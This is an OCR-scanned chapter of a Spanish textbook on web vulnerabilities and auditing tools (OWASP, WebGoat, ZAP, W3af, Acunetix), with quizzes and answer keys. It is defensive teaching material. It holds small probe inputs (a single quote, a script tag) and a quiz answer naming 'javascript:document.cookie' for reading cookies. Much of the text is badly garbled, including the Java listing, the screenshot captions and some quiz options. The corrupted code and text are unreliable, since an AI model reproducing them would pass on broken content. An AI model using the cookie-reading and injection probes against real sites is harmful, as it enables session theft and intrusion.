enviar como datos de entrada caracteres especiales para la base de datos, como por
gjemplo el cardcter * " 7 (comilla simple) empleado en las consultas SQL.
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Para detectar la existencia de vulnerabilidades del tipo XS5 (Cross-Site
Scripting) es necesario enviar como datos de entrada caracteres especiales en el
procesamiento de scripts en los navegadores Web, como por gjemplo la etiqueta
HTML =script= empleada en la inclusién de seripls en paginas Web.

8.8 HERRAMIENTAS DE AUDITORIA WEB PARA ANALISIS DE VULNERABILIDADES

Elinforme de resultados de una auditoria detallari la serie de vulnerabilidades
encontradas. Por vulnerabilidad se entenderd cualquier debilidad en la aplicacion
que pudiera resultar de manera directa o indirecta en un riesgo para la organizacidn,
que ha desarrollado esta, o para los usuarios que la utilizan.

Existen diversas herramientas para realizar andlisis de seguridad en
aplicaciones web, algunas de las cuiles son opensourece como W3af y otras
comerciales como Acunetix Web Security Scanner.

8.8.1 OWASP

OWASP es una asociacidn sin danimo de luero gque vela por la seguridad
en la weh. Entre sus cometidos estd la formacion y concienciacion de los usuarios
y los programadores. Destaca por su relevancia y fiabilidad el top ten de fallos
de seguridad informatica que publicaron en el 2007, En este top ten tenemos las
téenicas mds comunes vy los errores mas usuales a la hora de auditar la seguridad de
una aplicacidn web. Se basan en los datos reales de los expertos en seguridad que
colaboran con el OWASP:

¥ Cross site scripting (X88): Técnica consistente en introducir codigo
Javascript dentro de la aplicacidn que visita un usuario.

F Inyvecciones de cddigo (SQL Injection, XPath Injection y LDAP
Injection): Modifica o extrae informacion desde un almacén de datos.

P Remote file inclusion: Ejecuta un fichero externo al servidor como si se
encontrase dentro del mismo.

¥ Referencia directa a ficheros: o lo que es lo mismo, focal file inclusion
(LFIl). Un usuario puede manipular la URL para aceeder a un recurso que,
inicialmente, el desarrollador no habia pensado permitir.

F Cross site request forgery (CSRF): Manipular ¢l navegador del usuario
mediante XS5 para que realice acciones no deseadas entre dominios,
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Fugas de informacion v errores no controlades: También conocido
como path disclosure. Cualquier error no controlado puede dar pie a que
un atacante conozea datos internos sobre la aplicacion v su entorno.

Autenticacidon débil: Usar un sistema de cifrado débil para asegurar las
comunicaciones puede dar lugar a que los atacantes logren generar un
foken de autenticacidon vilido para un usuario cualquiera.

Almacenado inseguro de eredenciales: Almacenar las contrasefas en
texto plano o con algoritmos reversibles es un grave riesgo de seguridad
debido a que un atacante podria extraer las contrasefias mediante SQL
Injection.

Comunicaciones inseguras: El envio de informacion sin un cifrado
suficientemente potente puede dar lugar a que un atacante inlercepte estas
comunicaciones v las descifre.

Fallos al restringir el acceso a URL: La ocullacion de recursos en zonas
sin control de acceso y confiando en que ningln usuario malintencionado
intentard localizar estas zonas es ¢l altimo de los fallos de seguridad
expuestos en esta lista.

Otra de las actividades del OWASP es la generacidn de herramientas que
ayuden al desarrollo seguro de aplicaciones v a la auditoria de seguridad de los
servidores web. Entre los proyectos que promueven podemos destacar:

WebGoat: Esun proyecto que consiste enuna aplicacion web desarrollada
en Java con el framework Spring con distintos tipos de vulnerabilidades.
Esto sirve como entrenamiento para aquellas personas interesadas en
aprender seguridad web vy conocer las principales vulnerabilidades que
se pueden dar.

Los fallos gque contiene la aplicacién incluyen alguno de los siguientes
puntos:

Cross site scripling

Manipulacion de campos ocultos
Diebilidades en las cookies de sesidn
SOL Injection

Blind SQL Injection

Informacion sensible en comentarios
Servicios web inseguros
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La pagina oficial del proyecto es:

hetps www.owasp.org/index php/Category: OWASP_WebGoat_Project

v desde el repositorio de github se puede descargar la ultima versién si
queremos instalarnos el proyecto v poder compilarlo v ejecutarlo.

fttps github com/WebGoat/Web Goat
La forma mis ripida de probarlo es bajarnos el fichero

https: %3 amazonaws. comiwebgoat-war/webgoat-container-7.0. I -war-
exe.jar

v ejecutarlo con la herramienta java -jar.
java -jar webgoat-container-7.8.1-war-exec.jar

Con esto yva lenemos la aplicacion ejecutdndose en un servidor tomeat
embebido en el puerto 8080.5i accedemos ala URL htip:localhost:- 8080/
WebGaat

L
oyes WEBGOAT

Usermames

Fassword

EraEaa

Sign in

The following accounts are built into Webgoat

Account User Password
WWebgoat User guest guesi
Webgoat Admin weigoal webgoat

La aplicacion proporciona una serie de usuarios por defecto gue podemos
utilizar para entrar ¥ podemos encontrar formularios donde podemos
encontrar vulnerabilidades con las cudles podemos practicar.
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PRUCeUlll - Phishing with XSS
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Figura 8.1. Yulnerabilidades del tipo X535 en WebGoat

Otra opeidn que tenemos es la posibilidad de ver el codigo java{Java
Source) afectado por la vulnerabilidad gue estamos probando.

Legsan Source Code

pachage org.owasp.wabgoat. pluglng

import jave.util &rraylist;

import java.util.List;

Imgort org.apachi.acs. Elamant;

import org.apache.ecs, ElepentContaimer;
irgort org.apeche.ecs, StringElerent;

ingart ofg.apacho.acs. homl B,

Impert org.abache.acs, iinl, B,

import org.apeche.scs, binl, lomment;

impart -c\-'g.a:\-!rhr.!:l.r-rn!.ll:l:

dmport cog-apaché acs. hinl  HL,

ImporT org. opache £05, hinl, Ingut )

import org.apsche.ecs, bitnl , T0;

EMpOrT Org. apeche.4cs. foal. TH;

irgort org.apache.dcs. el . TR,

import org.apsche.scs, kil Table;

import org.owesp.webgost, Catcher;

Import off.odasp sabgoar . lassons . Catagory)
IRparT org.odasp . Wabgo st lastons. LecsonsdapTer;
import org.odssp,webgoat. session, ECSFackory;
impart org.cwmp.wsbgost.zassicn.MebSonsion;

This file is part of webbost, an Open Web Applicstion Sscurity Project witility, For details,
* plesss mee http: / faee, owmap. orpl

* Copyrlght (c} 362 - 28614 Bruce Hayhew

This progras 1s free sofledrd] pou can redistrisure 10 andfor sodify 1T undes The Tarss of e
® GWU Ganeral Publlc Licanse at published by tha Frae Software Foundatlom: aitkes verclon 2 of tha
* Licerse, or (gt your cption) any leter version.
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{

(public class Phishing extends LessonAdaptar

# pescrlptlon of the Fleld

=

protected final static Strieg SEARCH = “sername”;
private String zearchTest;

jas

* Dascription of the Mathed

® dparam =

o bascription of tha Paramster
* g@return Dascription of the Roturn valus

xy

private boolean postedCredentials(ebSessicn 3)

A

string postadToCookleCatcher = getladsonTrackars) getlessanProperties( ). getProperty{Catohar . PROPERTY

#f <Code Section Deliberately ordtteds

ac. afdElamant[BakesSaarch(s)):
if {postedCradentials(=})

{

makaSuccass{sls

1}

} catch {Exception =)

i

s .satMessage (getlabelManager| b .get] "PhishingErrorGarerating”) + this getClass(].getdamal }};

1

FERUrR (R

¥

protectad Elomant sakdSearch{webSssslon £)

Catcher EFPTY_STRING) .

Figura 8.2. Java Source Phising with X553

2. WebSecarab: Herramienta que nos permite modificar en tiempo real

las

peticiones que hacemos a una aplicacion web. Entre las principales

caracteristicas podemos destacar:

Extraer comentarios HTML y de scripts de las paginas que se visitan,

Convierte campos ocultos en campos de texto normales para editarlos
de una manera mas comoda.

Realiza acciones de bisqueda de URL dentro de las pdginas navegadas
para detectar nuevos objetivos.

Busca posibles fallos de X85 en las piginas visitadas.

Permite el scripting para modificar automaticamente algin aspecto de
un sitio web cada vez que se visite.

Dos conocidas aplicaciones utilizadas para las auditorias de aplicaciones
web son Acunetix y W3afl Este tipo de herramientas automatizadas
pueden usarse como complemento de una auditoria de seguridad web.
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La pagina official del proyecto es:

https:ffwww owasp orglindex php/Category: OWASP_WebScarab_
Project

Aungue se puede seguir utilizando, esta herramienta se ha quedado
desactualizada. OWASP han creado una nueva herramienta que ademads
de interceptar las peticiones para editar los pardmetros que se envian,
también permite detectar vulnerabilidades de todos los tipos mencionados
en la guia de OWASP.La herramienta se llama OWASP Zed Attack
Proxy Project y se puede descargar para todas las plataformas desde:

hitps Aeithub com/zaproxy/zaproxy/wiki/Downloads

By e vy £ e b b < b b St e
- TR d R

A
] |_spr s uamcamconres. S i sl v s

e e P
o | v e o et
i - £l

Figura 8.3. Captura de pantalla OWASP Zed Attack Prouy

Si detecta algin tipo de vulnerabilidad en la pdgina que estd analizando
lo muestra en la seccion de alertas:

| = Historia | <4, Puscar | [ alertas # | | Salida | % Spiderta
@ @

* & Alertas (4)

* g8 ™ K-Frame-Options Headar Mot Set {32)

s ﬁ FPazsword Autocompleta In brawser (15}
» = M oh Browsor XS5 Protecton Mot Enablad [32)
* [l P X-Content-Type-Options Header Mizsing (32)
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v Editar Alerta .'r
\Wab Brawset X35 Proscban Het Enabla: £
e bt St Pt ERCRMR st s |
Comdence |Wegum =
= g
CETITHR |
|evenaa: I
CHWE D e H
sz e 14 EJ

WiBD Biroweer 155 Pralecion ig nol erabled, of is deapiag v i
cankguraon of Ma ¥-KEE-Pratmciion HTTP reseanss Naader an ms
Web sarwr
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e
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"

SEEEr [0 ana0ks or d5ahk e weh Brows ers K55 poedion
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Frrer

Figura 8.4. Alertas detectadas €55

Para una vulnerabilidad del tipo Cross Site Scripting muestra informacion
del ataque que se podria realizar y referencias en la web del tipo de ataque:

| Creeas Sika Soriineg (Readejadah
LiRL: il ocad st = £ Sk e i

Piage:  |High

Comiknce |Medun
Farfmekn:  beict2
A e

Evdencia  ==acriplesler{1=taotpl

MEREC O

Daserpritn

Crnes-aifs Soriping D65E 1= an sfack lrchniqae hatimsakes echoleg ity
embadde) in 3 srbware piodud mich 22 he biowearsihin Wnkme, an
arany oitwr browaar-supparied lechraiogr.

T an SRl ok @ s Do e [D easculs Msher code, o

i

Sl

Frsa: Archiiecrs and Casign
Lz 3walted § by ar ramawart hat dees nol allow e waziraes b g
al Ebraisn and ¥k moks # e mieria gararals prog

it o echs et pRac ogiCraas-See-Soipting
iy Do T i

Figura B.5. Alerta para vulnerabilidad X535
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8.8.2 W3af
Wlafl es el acrbnimo de Web Application Attack and Audit Framework.

Esta herramienta de auditoria web open source que sirve lanto como scanner
de vulnerabilidades web, como explotacion de las mismas.

La caracteristica principal de W3afl es que su sistema de auditorfa estd
basado completamente en plugins escritos en Python, por lo que consigue crear un
framework facilmente escalable ¥ una comunidad de usuarios que contribuyen con
la programacion de nuevos pluging ante los fallos de seguridad web que puedan ir
apareciendo.

Caracteristicas principales de la herramienta
¥ Detecta mas de 150 tipos de vulnerabilidades web.

F Es multiplatalorma ya que estd implementada en python.

¥ Emplea téenicas de tactical exploitation para descubrir nuevas URL y
vulnerabilidades.

F Posibilidad de detectar vulnerabilidades en query string, post data, HTTP

headers, JSOMN,

Entre las vulnerabilidades que detectan y explotan los plugins disponibles
s¢ encueniran:

b

CSRF

XPath Injection
WebDAV

Buffer overflows
Extensiones de FrontPage
SQL Injection

X85

LDAP Injection

Remote File Inclusion

b B . . B B B B
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8.8.3 Acunetix

Acunetix Web Vulnerability Scanner es una herramienta para la auditoria
de aplicaciones web de forma automdtica. En la versidon 4 de la herramienta se
afiadieron modulos para la deteccion de vulnerabilidades Blind SQL Injection y
Blind XPath Injection.

Ofrecen su producto como complemento a las auditorias internas de seguridad
que se realicen sobre el codigo. Realiza escaneos auwtomatizados con posibilidad de
gjecucion lanto en interfaz grafica como en linea de comandos. Solo estd disponible
para plataformas Windows.

A pesar de ser un programa comercial ofrece para la descarga una version
gratuita que se limita a la bisqueda de fallos de X558 en el dominio que especifiquemos,

Las caracteristicas principales de Acunetix son:

P Analizador Javascript, permitiendo auditar Ajax v aplicaciones con Web
2.0.

¥ Utliza las mas avanzadas téenicas de SQL Injection vy Cross Site
Scripting.

¥ Utilizacion de teenologla *AcuSensor’.
¥ Analiza websites incluyendo contenido Flash, SOAP v AJAX.

F Realiza un escancado de puertos contra el servidor web y busca
vulnerabilidades en sus servicios.

¥ Detecta el lenguaje de programacion de la aplicacion.

¥ Proporciona extensos informes del estado de seguridad.

8.8.4 Dtras herramientas

A pesar de haber comentado uUnicamente dos de los escdneres de
vulnerabilidades webs mds conocidos, existen muchos otros, cada uno con sus
caracteristicas propias. Una lista completa de herramientas que nos pueden ayudar
en realizar un testeo de la seguridad de las aplicaciones web la podemos encontrar
en:

http/fprojects. webappsec.org/w/page/1 3246988/ Web% 204 pplication®a2()
Security®o2085canner® 20List
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LAPSE
https www.owasp.org/index. php/OWASP_LAPSE Project

LAPSE (Lightweight Analysis for Program Security in Eclipse) es una
herramienta para realizar la auditoria de seguridad en las aplicaciones Java. Fue
creado por Benjamin Livshits, como parte del proyecto “Griffin Software Security
Project” de la Universidad de Stanford LAPSE analiza el eddigo J2EE para encontrar
las vulnerabilidades mis comunes en aplicaciones Web.

La herramienta tiene como objetive encontrar las vulnerabilidades de
seguridad en las aplicaciones Web, causadas por una inadecuada validacion de las
entradas del usuario.

Herramientas de an:lisis sqlinjection

Otra de las opciones que podemos utilizar para realizar un andlisis de
nuestro codigo es el uso de herramientas que testeen nuestras aplicaciones en busca
de vulnerabilidades por inyeccion SQL. Algunas de estas herramientas son:

F SOLiHelper 2.7 SQL Injection: Se trata de una aplicacién cuyo objetivo
es facilitar la extraccion de informacién procedente de bases de datos
utilizando para ello técnicas de inyeccion SQL. Una vez indicada la URL
que queremos analizar, la aplicacidn realizard peticiones invectando
codigo SQL con el fin de comprobar si es realmente vulnerable. https:/
wwwerekings.comisgl-helper-2-7

F SOLMap: Se trata de una herramienta de prucbas de codigo abierto que
automatiza el proceso de detectar y explorar los errores de inyeccion SQL
http:iivglmap.org

l. Analizar las funcionalidades del analizador acunetix realizando un
escanco sobre un dominio que tengamos contolado, donde se nos permite
probar todas las caracteristicas del programa. El primer paso es establecer
el dominio a analizar. Con este dato Acunetix realiza un primer andlisis
del dominio, intentando detectar las caracteristicas intrinsecas del
servidor: tecnologia, servidor HTTP, cabeceras, etc. Estos datos los usa
para configurar automdticamente las reglas mds optimas para el andlisis.
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La herramienta la podemos descargar de forma gratuita en version de
pruecba desde: www acunetix.com/vulnerability-scanner

La herramienta ofrece un asistente donde podemos especificar algunos
parametros para mejorar la eficiencia de nuestro andlisis, Algunas de las
opciones que podemos configurar son:

Envio de datos mediante los formularios existentes en la pagina web.
o [Intentar extraer listado de directorios.

® lgnorar mayisculas en los nombres de los ficheros.

® Procesar los ficheros robots.ixt v sitemap.xml.

o Manipular las cabeceras HTTP.

® Habilitar el escaneo de puertos.

o Establecer usuario v contrasefia para la autenticacion HTTP.

o Habilitar el andlisis del codigo Javascript mediante la ejecucion del
mismo.

Estas opciones se pueden configurar en la seccidn Scanning oplions
dentro del botéon Customize.

Options
Adfust orawlingscanning apions from this pags.

Secannng aplans

‘y Scanning profilewil enable/dizoble different tesis (or grougs ot 12 sts] from the
te=t datehase.

Scanning profilg Deimult e |

# Srenfing SSngs Sl Y 0U I adjust scanhing Behaor 1o the curtent san(s)

Scan seftings: :Derindll_ - [

[+ ==vareparting dei=io daisb=za

Creeding optians
These apians will defins te behodour oithe comder for the curent scans. If

winii WA e prorl e the renaral reavdar hehsddnin oo shaiilid mnodn asthinng

Adercrealing letme chooee fhe files o scen
Cieding list of LIALS to be processed by crewlerat start

Ly

acunetix

<Back | Hewi> | Caneet
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Figura8.6. Capturas de pantalla acunetix

Después de completar el asistente, se nos presentari una ventana de
anilisis donde iremos comprobando en tiempo real lo que va analizando
¥ descubriendo el programa.
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Una de las caracleristicas mas interesantes de Acunetix es la posibilidad
de ver un drbol de los ficheros que existen en el servidor y que podremos
recorrer como si un explorador de ficheros de nuestro sistema operalivo

s¢ tratase.

Sobre cada una de las paginas detectadas el programa realiza una serie
de comprobaciones para determinar si la aplicacion va a ser vulnerable
a cualguiera de las técnicas mencionadas anleriormente. Estos andlisis
dardn lugar a un reporte con informacion detallada de lo ocurrido.
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2. Testear las vulnerabilidades con las herramientas w3al v acunetix
sobre los siguientes sitios de prueba. Deberian detectarse
vulnerabilidades de todos los tipos definidos por la OWASP.

hitp - testphpovulnweb.com
hitp:ftesthiml 3 vulnweb.com
hitp:Atestaspovulnweb.com
hitp:itestaspnetvulnweb.com

8.10 RESUMEN

La auditoria de seguridad formard parte del dltimo paso de en la
implementacion de medidas defensivas, servird para evaluar la efectividad de estas
y como resultado generard un informe en el que se detallardn las vulnerabilidades
encontradas y posiblemente una serie de recomendaciones para solventarlas.

Siel informe de resultados no es favorable habrd dos opciones para cada una
de las vulnerabilidades encontradas: la primera serfa aceptar ¢l riesgo v la segunda
solventar el fallo. Una vez finalizado este proceso se deberd volver a evaluar otra vez
si se han corregido de forma apropiada.
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8.12 AUTOEVALUACION UNIDAD 8

Selecciona la respuesta correcta

1. ;Qué sistema trata de medir la gravedad de una vulnerabilidad en tres
dreas o métricas que permiten evaluar el riesgo gue representa una
vulnerabilidad?

Common Vulnerability Scoring System({CV58)
Open Source Vulnerability Database (QOSVDB)
National Vulnerability Database (NVD)

Common Yulnerabilities and Exposures(CVE)

e o o

2. ;Qué sistema provee de una base de datos de vulnerabilidades que
pretende relacionar nombres comunes con los fallos conocidos de forma
publica facilitando asi el intercambio de datos e informacion entre las
diferentes herramientas, bases de datos v servicios?

Common YVulnerability Scoring System({CVS8)
National Vulnerability Database (NVD)

Common Vulnerabilities and Exposures{CVE)
Open Source Vulnerability Database (OSYVDB)

=W - -

3. :Qué tipo de prueba estd relacionada con aquella donde el auditor de
seguridad posee acceso al codigo fuente de la aplicacion, manuales de
usuario, configuracion del servidor web v acceso a la aplicacion en si
misma?

White box (Caja blanca)

Black box {Caja negra)

Grey box (Caja gris)

Web Application Firewalls { WAF)

oo oo

4. ;Qué tipo de prueba estd relacionada con aquella donde el auditor de
seguridad no tiene acceso al codigo fuente de la aplicacidn ni se tiene
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ningin conocimiento acerca de la aplicacion o de los sistemas con los
cudles estd integrada?

White box (Caja blanca)

Black box {Caja negra)

Grey box (Caja gris)

Web Application Firewalls (WAF)

5. ;Qué tres herramientas nos permiten interceplar v modificar en tiempo
real las peticiones HTTP que hacemos a una aplicacién web?

B O oW

Wireshark , WebScarab, Burp Suite
Wireshark , W3afl , Burp Suite

WebScarab , Burp Suite , W3af

Burp Suite , Zed Attack Proxy , WebScarab

6. ;Qué herramientas nos sirve tanto como scanner de vulnerabilidades web
como explotacion de las mismas?

(= I~ 2~

Zed Attack Proxy
W3lafl

Burp Suite
WebScarab

7. iQué tipo de andlisis se centra en estudiar las vulnerabilidades de
seguridad desde el punto de vista de un atacante externo?

e o o

White box (Caja blanca)

Grey box (Caja gris)

Black box {Caja negra)

Web Application Firewalls {WAF)

8. :En qué consiste el andlisis basado en caja gris?

a.

Consiste en una mezcla de los andlisis de caja negra y blanca donde
los auditores tienen una posicion lejana del atacante v costaria mds
identificar aquellas partes mas criticas del sistema.

. Consiste en una mezcla de los andlisis de caja negra v blanca donde

los auditores tienen una posicion lejana del atacante pero con la
ventaja de que pueden identificar con mas facilidad aquellas partes
més crilicas.

Consiste en un analisis donde los anditores tienen informacion acerca
del funcionamiento de la aplicacidn, pero nd de los sistemas con los
que interactua.
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d. Consiste en una mezcla de los andlisis de caja negra y blanca donde
los auditores Henen una posicion aproximada a la de un atacante pero
con la ventaja de que pueden identificar con mds facilidad aquellas
partes mas criticas,

9. ;0Qué herramienta podemos encontrar para realizar auditorias de seguridad
sobre aplicaciones Java?

LAPSE (Lightweight Analysis for Program Security in Eclipse)
Acunetix

WebScarab

WebGoat

e o o

10.;Qué herramienta consiste en una aplicacion web con distintos tipos de
vulnerabilidades y tiene como finalidad la de practicar con las principales
vulnerabilidades que podemos encontrar en aplicaciones web como SQL
injection o Cross site scripting?

Acunetix
WebScarab
WebGoat
Wiafl

(=W - -

8.13 LECTURAS RECOMENDADAS

¥ Web Application Security Consortium
hitpfwww o webappsec.org

hitp:fiprojects. webappsec.org/w/page/69306488/8tatic ¥ 204Analvsis®a 20
Technologies® 20 Evaluation® 20%20Criteria% 20- % 208panish

http.Sprojects. webappsec.org/wipage/ 1 3246988/ Web ¥ 204 pplications
208ecurity®a208canner®a 20 List

¥ OWASP ZAP
https www.owasp.orgd/index. php/OWASP_Zed Attack_Proxy_Project
hitps:ivecurity secure force comisecurity/toolsiwebapp/zapbrowsersetup
F OWASP WebGoat
hitps Aiwww.owasp.org/index. php/Category: OWASP_WebGoat_Project



@ R-MA Capitulo 8. VULNERABILIDADES, AUDITORIAS DE SEGURIDAD Y HERRAMIENTAS DE ANALISIS 401

8.14 GLOSARIO DE TERMINOS

¥ Auditoria: Es el proceso de registrar eventos, errores, acceso ¢ intentos
de autenticaciones en un sistema. Es importante que se pueda seguir el
rastro del acceso,problemas o errores de los hosts v otros acontecimientos
que sean imporlantes para los sistemas que necesiten estar supervisados
v controlados.

¥ Buffer overflow: Un deshordamiento de bufler es un error de software
que se produce cuando se copia una cantidad de datos sobre un drea que
no es lo suficientemente grande para contenerlos, sobreseribiendo de esta
manera otras zonas de memoria. Como consecuencia, se producira una
excepeidon del acceso a memoria seguido de la terminacion del programa.
Si el programa que tiene el error en cuestion tiene privilegios especiales
se convierte ademds en un fallo de sezuridad.

F Falsificacion de solicitudes entre distintos sitios (CSRF): Estado de
vulnerabilidad que se crea por métodos de codificacion poco seguros, y
que permiten que se ejecuten acciones no deseadas mediante una sesion
que ha sido autenticada. Suele utilizarse junto con X585 o inyeccion SQL.

F NVD: Acronimo de “National Vulnerability Database™ (base de datos
nacional de vulnerabilidades). NVD incluve bases de datos de listas
de werificacion de seguridad, fallos en los programas de software
relacionados con la seguridad, las configuraciones incorrectas, los
nombres de productos v las méiricas de las incidencias.

¥ Vulnerabilidad: Error o debilidad que, de legar a explotarse, puede
ocasionar una exposicion a riesgos del sistema, intencionalmente o no.
Toda vulnerabilidad se convierte en una debilidad en un sistema que lo
hace susceptible a un ataque.






~ EVALUACION FINAL

1. ;En qué consiste la vulnerabilidad Falsificacién de peticiones en sitios
cruzados (CSRF)?

a.

Es una wvulnerabilidad que se da cuando no se implementan los
controles de acceso adecuados sobre referencias a objetos internos de
la aplicacion como ficheros o bases de datos.

. Consiste en atacar a los usuarios que han iniciado sesion en

una aplicacién web vulnerable v forzarles a ejecutar peticiones
utilizando el foken de sesion de autenticacion del usuario.

Consiste en la ejecucion de scripts en el navegador para inyectar
cOdigo que pueda saltarse la validacidén de algin formulario de la
aplicacion.

. Consiste en realizar una peticidén que permila inyectar cddigo en

una consulla a una base de datos con el objetivo de obtener toda la
informacion que se encuentra almacenada.

. Una de las contramedidas del atague Falsificaciéon de peticiones en

sitios cruzados{CSRF) es el uso de un foken para cada peticion, [qué
caracteristicas deberia tener dicho foken para enviarlo de forma segura?

a.

El token debe ser tnico, lo suficiente aleatorio v afnadirlos de forma
oculta en los formularios, el envio siempre se podria realizar mediante
GET o POST.

b. El token puede ser informacién relacionada con el usuario, el envio

siempre se podria realizar mediante GET o POST
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il

El token debe ser tnico por cada peticidn, lo suficiente aleatorio y
aftadirlos de forma oculta en los formularios, el envio siempre se
deberia realizar mediante POST.

. El token puede ser informacién relacionada con el usuario, el envio

siempre se podria realizar mediante GET o POST

3. ;Cudl de las siguientes librerias de OWASP implementa una forma rdpida
y facil de configurar los filtros HTML a la vez que nos protege contra
atagues Cross Site Scripling?

a.
b.
e.

d.

OWASP Java Sanitizer
OWASP Enterprise Security API
OWASP Java Filter Security
OWASP Java Encoder

4. Entre los distintos mecanismos para dotar de seguridad a los servicios
web encontramos el de Firma digital, jen qué consiste dicho mecanismo?

a.

Se utiliza una misma clave para cifrar v descifrar los datos. En este caso
esa clave debe ser conocida por los dos extremos de la comunicacion,

Consiste en un coddigo de una determinada longitud generado a partir
de un documento mediante un algoritmo conocido como digest o
firma del documento.

Se tienen dos elaves, una piblica y otra privada. Consiste en cifrar
la huella de los datos que estamos enviando mediante nuestra
clave privada.

. Consiste en cifrar la huella de los datos que estamos enviando mediante

nuestra clave piblica. El receptor de dicho documento podri recuperar
la huella descifrandola mediante nuestra clave privada.

5. (Que comando podemos ¢jecutar para crear un certificado auto-firmado
para autenticar al cliente, indicando entre otras cosas, el algoritimo para la
generacion del cerlificado v el nombre del almacén de claves?

a.

openssl  -genkeypair -keyalg <algoritmo> —storetype PRKCS12
-keystore keystore cliente.pl2  -storepass <password> —keypass
<password=

keytool -genkeypair -alg <algoritmo> -keystore keystore cliente.pl?2
-slorepass <password> —keypass <password=
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keytool -keypair -kevalg <algoritmo> —storetype PRCS12 -store
store_cliente.pl2 -storepass <password=

. keytool -genkevpair -keyvalg <algoritmo> —storeiype PKCS12

-keystore keystore cliente.pl2 -storepass <password= —keypass
<password=

6. ;Que comando podemos ejecutar para crear un certificado a nivel
de servidor que nos permita implementar nuestra propia entidad de
autorizacidn de certificados?

a.

openssl req -x509 -newkey rsa:2048 -key keyv.pem -cert certificate.
pem -days 365

. openssl req -x509 -newkey rsa:2048 -Keyvout keyv.pem -out

certificate.pem -days 365

openssl req -x 509 -algorithm rsa:2048 -kevout key.pem -out certificate.
pem -days 365

. openssl req -x509 -algorithm rsa: 2048 -key kev.pem -cert certificate.

pem -days 365

7. Para implementar la seguridad con Spring ¢s necesario crear un filtro que
actia como interfaz entre el mecanismo estdndar de filiros v los beans de
Spring. ;De qué tipo es la elase gue hay que implementar como filtro?

a.
b.
e,

d.

org.springframework.web.filter.Delegating Filter
org.springframework . web.filter FilterProxy
org.springframework. web filter. DelegatingFilterProxy

org.springframework. web filter Spring SecurityFilterChain

8. ;0Qué etiguetas son necesarias afladir en el fichero web.xml de un proyecto
Java Enterprise para implementar una autenticacién basada en formulario
indicando pagina de login v de error?

.
b.

C.

login, auth-method, login-config, login-page, error-page
login, auth, login-config, login-page, error-page

login-config, auth-method, form-login-config, form-login-page,
form-error-page

. login-config, auth, form-config, form-page, form-page
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9. ;Qué paguete y clase de java permite usar un socket de forma segura
mediante SSL7

a. paquete java.netss |, clase SSLServerSocket
b. paquete javax ssl, clase S5LServerSocket
c. paquete javax.net.ssl, clase 85LSocketFactory

d. paquete javax.net.ssl, clase SSLServerSocketFactory

10.; Qué clase y método de java permite verificar la firma de unos datos de
los cudles conocemos la clave piblica v privada?

a. clase java.security. Signature , método initVerify(bytesFirma)
b. clase java.security.Signature , método verify(bytesFirma)
c. clase javax.security. Signature , método initVerify(bytesFirma)

d. clase java.Signature , método verify(bytesFirma)
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AUTOEVALUACIGN UNIDAD 1

0ué vulnerabilidad permite insertar un cddigo SQL dentro de otro
codigo SQL para alterar su funcionamiento normal?

a. Inyeecidn SQL

. Cudl es la forma mas sencilla de asegurar las consultas en base de datos

contra una inyeccion SQL?

c. Usar sentencias preparadas (Prepared statements en Java) y
procedimientos almacenados

. (Como se puede afiadir en Java a la sesidn un indicador booleano(true)

indicando que el usuario se ha autenticado{auth) correctamente?

b. request.getSession().setAttribute(" auth", true);

. A0ué accidn en Java nos ayudaria a prevenir la fjacion de sesion?

d. finalizar la sesién actual ¥ crear una nueva con el objeto request
session.invalidate();
session=request.getSession(true);

. (Qué tipo de ataque XSS el codigo JavaSceript se envia v sin realizar

validaciones se almacena en ¢l servidor de forma persistente?

a. Stored X588

. tQué cddigo JavaSeript permite obtener las cookies del navegador?
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b. javascript:document.cookie

7. :Qué etiqueta o atributo podemos utilizar en aplicaciones web en Java
para evitar el acceso por medio de scripts a las cookies del navegador?
a. httponly cookie
B. Una de las contramedidas para la exposicion de datos sensibles
relacionadas con el almacenamiento criptogrifico es el uso de algoritmos
de cifrado, ;qué algoritmos se recomiendan para tener un cifrado lo mas
seguro posible?
c. Uso de algoritmos de criptogrificamente fuertes SHA256,
SHAS12, AES
9. ;Con qué estd relacionado la vulnerabilidad Ausencia de control de
acceso a las funciones?
b. Permite el acceso a URLS privadas a nivel de administracion y
configuracion
10.;Qué mecanismo de seguridad de los navegadores para restringir la
gjecucion de codigo proveniente de servidores ajenos?
d. Politica del mismo origen (SOP)
AUTOEVALUACIGON UNIDAD 2
1. ;Cudl de las siguientes afirmaciones es cierto acerca de OAuth?
a. OAuth funciona con tokens de autenticacibn en lugar de
credenciales para acceder a los recursos.
2. ;Qué clases nos proporciona el SDK de Java para validar entradas de
texto mediante expresiones regulares?
¢. Pattern y Matcher dentro del paguete java.---util.regex
3. ;Qué clase v método podemos utilizar para comprobar si la cadena de
entrada encaja con el patron especificado?
d. Pattern.matches()
4. ;Qué clase v método podemos utilizar para crear un patron a partir de una

expresion regular que se pasa por parimetro?

d. Pattern.compile{PATRON_EXPRESION REGULAR)
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5. ;Qué clase ¥ método podemos utilizar dentro del paquete apache.
commons.lang insertar caracteres de escape en una cadena pasada por
parimetro?

b. StringEscapelUtils.escapelava(String input)

6. ;Cual de las siguientes vulnerabilidades estd relacionada con que el
atacante se aprovecha de los fallos de validacion de datos que la aplicacidn
realiza permitiéndole ejecutar coddigo malicioso en el navegador del
usuario?

¢. Cross-site seripting (X55)

7. (Cudl de las siguientes vulnerabilidades estd relacionada con que el
atacante trata de engafiar al usuario enviando una peticibn concreta
mediante un link, una imagen, una vulnerabilidad de XS5, con tal de
aprovecharse de los privilegios que dicho usuario posee en la aplicacion?

b. Cross-site request forgery (CSRF)

8. ;Cudl de las siguientes vulnerabilidades estd relacionada con que el
atacante liene acceso a dreas restringidas debido a malas priclicas o
fallos durante la configuracidn de la aplicacidon?

d. Security misconfiguration

9. :Cudl de las siguientes ¢s una aplicacién que aporta funcionalidades que
permita avudar en la identificacién de vulnerabilidades en aplicaciones
web, asl como otras funcionalidades como caplura v andlisis de trifico
HTTP?

b. OWASP Zed Attack Proxy

10.; Cudl de los siguientes métodos que se encuentran dentro de la libreria
owasp-java-html-sanitizer permite filtrar el texto himl de acuerdo a las
politicas que nosotros le especifiquemos?

a. Sanitize

AUTOEVALUACIGN UNIDAD 3

1. ;Qué protocolos soporta la libreria que permite invocar servicios web
desde java JAX-WS?

a. SOAPy REST
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2. ;Qué anotacion de la libreria JAX-WS indica que un determinado método
debe ser publicado como operacidn del servicio?

¢. (@WebMethod

3. ;Qué tipo de autenticacidn en servicios web se autentifica al cliente
mediante un certificado digital de su propiedad?
b. X.509 token

4. ;Qué anotacidn de la libreria JAX-RS te permite definir el rol sobre ¢l

cudl una determinada aplicacidm se puede ejecutar escribiendo dicha
anotacion a nivel general de una determinada clase?

c. mBRunAs

